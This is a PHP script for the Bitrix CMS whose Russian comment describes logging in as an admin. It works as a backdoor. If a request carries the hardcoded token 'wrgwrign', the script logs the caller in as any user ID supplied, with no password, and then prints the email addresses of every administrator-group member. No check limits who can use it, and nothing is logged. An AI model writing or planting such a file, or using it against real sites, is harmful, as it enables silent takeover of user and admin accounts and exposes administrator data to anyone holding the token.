<?php
/**
 * Авторизация пользователя в битриксе под админом
 */

use Bitrix\Main\Context;
define("NO_KEEP_STATISTIC", true);
require $_SERVER["DOCUMENT_ROOT"] . "/bitrix/modules/main/include/prolog_before.php";

$request = Context::getCurrent()->getRequest();

if ($request->get('auth') !== 'wrgwrign') {
	return;
}

$userId = (int)$request->get('user_id');
if ($userId > 0) {
	global $USER;
	$USER->Authorize($userId);
}


$dbResult = \Bitrix\Main\UserGroupTable::getList([
	'select' => [
		'USER_ID',
		'USER_EMAIL' => 'USER.EMAIL',
	],
	'filter' => [
		'=GROUP_ID' => 1
	]
]);

$arUsers = [];
while ($row = $dbResult->fetch()){
	$arUsers[$row['USER_ID']] = $row['USER_EMAIL'];
}
echo '<pre>';
print_r($arUsers);
echo '</pre>';